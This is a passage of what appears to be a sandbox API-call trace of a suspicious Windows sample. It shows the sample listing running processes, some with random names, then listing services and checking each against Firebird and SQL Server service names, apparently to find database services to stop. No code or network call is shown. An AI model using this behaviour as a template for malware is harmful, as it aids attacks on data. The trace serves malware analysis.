th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.202] lstrlenW (lpString="svchost.exe") returned 11 [0142.202] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.203] lstrlenW (lpString="svchost.exe") returned 11 [0142.203] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0142.204] lstrlenW (lpString="audiodg.exe") returned 11 [0142.204] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0142.205] lstrlenW (lpString="sihost.exe") returned 10 [0142.205] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.206] lstrlenW (lpString="svchost.exe") returned 11 [0142.206] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0142.207] lstrlenW (lpString="taskhostw.exe") returned 13 [0142.207] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0142.208] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0142.208] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0142.209] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0142.209] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0142.209] lstrlenW (lpString="explorer.exe") returned 12 [0142.210] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0142.210] lstrlenW (lpString="Memory Compression") returned 18 [0142.211] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0142.211] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0142.211] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0142.212] lstrlenW (lpString="SearchUI.exe") returned 12 [0142.212] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0142.213] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0142.213] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0142.214] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0142.214] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0142.217] lstrlenW (lpString="UsoClient.exe") returned 13 [0142.217] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0142.218] lstrlenW (lpString="msoia.exe") returned 9 [0142.218] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0142.219] lstrlenW (lpString="taskhostw.exe") returned 13 [0142.219] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0142.220] lstrlenW (lpString="msoia.exe") returned 9 [0142.220] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0142.221] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0142.221] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0142.222] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0142.222] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0142.223] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0142.223] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0142.224] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0142.224] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0142.225] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0142.225] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0142.225] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0142.226] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="concerned venture.exe")) returned 1 [0142.226] lstrlenW (lpString="concerned venture.exe") returned 21 [0142.226] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="organizingscsi.exe")) returned 1 [0142.227] lstrlenW (lpString="organizingscsi.exe") returned 18 [0142.227] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="airplane placing.exe")) returned 1 [0142.228] lstrlenW (lpString="airplane placing.exe") returned 20 [0142.228] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="circus.exe")) returned 1 [0142.229] lstrlenW (lpString="circus.exe") returned 10 [0142.229] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl_jurisdiction_en.exe")) returned 1 [0142.231] lstrlenW (lpString="pearl_jurisdiction_en.exe") returned 25 [0142.231] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="das.exe")) returned 1 [0142.232] lstrlenW (lpString="das.exe") returned 7 [0142.232] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="beam removable.exe")) returned 1 [0142.233] lstrlenW (lpString="beam removable.exe") returned 18 [0142.233] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="principle_federation_customs.exe")) returned 1 [0142.234] lstrlenW (lpString="principle_federation_customs.exe") returned 32 [0142.234] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="dome.exe")) returned 1 [0142.234] lstrlenW (lpString="dome.exe") returned 8 [0142.234] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="wiresjacket.exe")) returned 1 [0142.235] lstrlenW (lpString="wiresjacket.exe") returned 15 [0142.235] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="basinproteinsabsorption.exe")) returned 1 [0142.236] lstrlenW (lpString="basinproteinsabsorption.exe") returned 27 [0142.236] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middevelopereddie.exe")) returned 1 [0142.237] lstrlenW (lpString="middevelopereddie.exe") returned 21 [0142.237] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tested.exe")) returned 1 [0142.238] lstrlenW (lpString="tested.exe") returned 10 [0142.238] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="infectionsboysdefects.exe")) returned 1 [0142.239] lstrlenW (lpString="infectionsboysdefects.exe") returned 25 [0142.240] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="coming-warned-garage.exe")) returned 1 [0142.241] lstrlenW (lpString="coming-warned-garage.exe") returned 24 [0142.241] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="level.exe")) returned 1 [0142.242] lstrlenW (lpString="level.exe") returned 9 [0142.242] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0142.243] lstrlenW (lpString="dllhost.exe") returned 11 [0142.243] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0142.244] lstrlenW (lpString="conhost.exe") returned 11 [0142.244] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfbc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0142.245] lstrlenW (lpString="conhost.exe") returned 11 [0142.245] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.246] lstrlenW (lpString="svchost.exe") returned 11 [0142.246] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0142.247] lstrlenW (lpString="load0.exe") returned 9 [0142.247] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0142.248] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0142.248] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1844, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0142.249] lstrlenW (lpString="conhost.exe") returned 11 [0142.249] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1be4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x794, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0142.250] lstrlenW (lpString="cmd.exe") returned 7 [0142.250] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1be4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0142.251] lstrlenW (lpString="conhost.exe") returned 11 [0142.251] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0142.252] lstrlenW (lpString="svchost.exe") returned 11 [0142.252] Process32NextW (in: hSnapshot=0x1038, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0142.253] CloseHandle (hObject=0x1038) returned 1 [0142.253] Sleep (dwMilliseconds=0x1f4) [0143.726] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x5e3618 [0143.726] EnumServicesStatusExW (in: hSCManager=0x5e3618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 0 [0143.727] GetLastError () returned 0xea [0143.727] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1d5a) returned 0x3e780e0 [0143.727] EnumServicesStatusExW (in: hSCManager=0x5e3618, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e780e0, cbBufSize=0x1d5a, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e780e0, pcbBytesNeeded=0x8ceff3c, lpServicesReturned=0x8ceff54, lpResumeHandle=0x0) returned 1 [0143.727] CloseServiceHandle (hSCObject=0x5e3618) returned 1 [0143.728] lstrlenW (lpString="Appinfo") returned 7 [0143.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0143.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0143.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0143.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0143.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0143.728] lstrlenW (lpString="AppXSvc") returned 7 [0143.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0143.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0143.728] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0143.728] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0143.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0143.728] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0143.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0143.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0143.728] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0143.728] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0143.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0143.728] lstrlenW (lpString="Audiosrv") returned 8 [0143.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0143.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0143.728] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0143.728] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0143.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0143.728] lstrlenW (lpString="BFE") returned 3 [0143.728] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0143.728] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0143.728] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0143.728] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0143.728] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0143.729] lstrlenW (lpString="BITS") returned 4 [0143.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0143.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0143.729] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0143.729] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0143.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0143.729] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0143.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0143.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0143.729] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0143.729] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0143.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0143.729] lstrlenW (lpString="CDPSvc") returned 6 [0143.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0143.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0143.729] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0143.729] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0143.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0143.729] lstrlenW (lpString="ClickToRunSvc") returned 13 [0143.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0143.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0143.729] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0143.729] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0143.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0143.729] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0143.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0143.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0143.729] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0143.729] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0143.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0143.729] lstrlenW (lpString="CryptSvc") returned 8 [0143.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0143.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0143.730] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0143.730] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0143.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0143.730] lstrlenW (lpString="DcomLaunch") returned 10 [0143.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0143.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0143.730] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0143.730] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0143.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0143.730] lstrlenW (lpString="DeviceAssociationService") returned 24 [0143.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0143.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0143.736] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0143.736] lstrcmpiW (lpString1="mssqlserver", 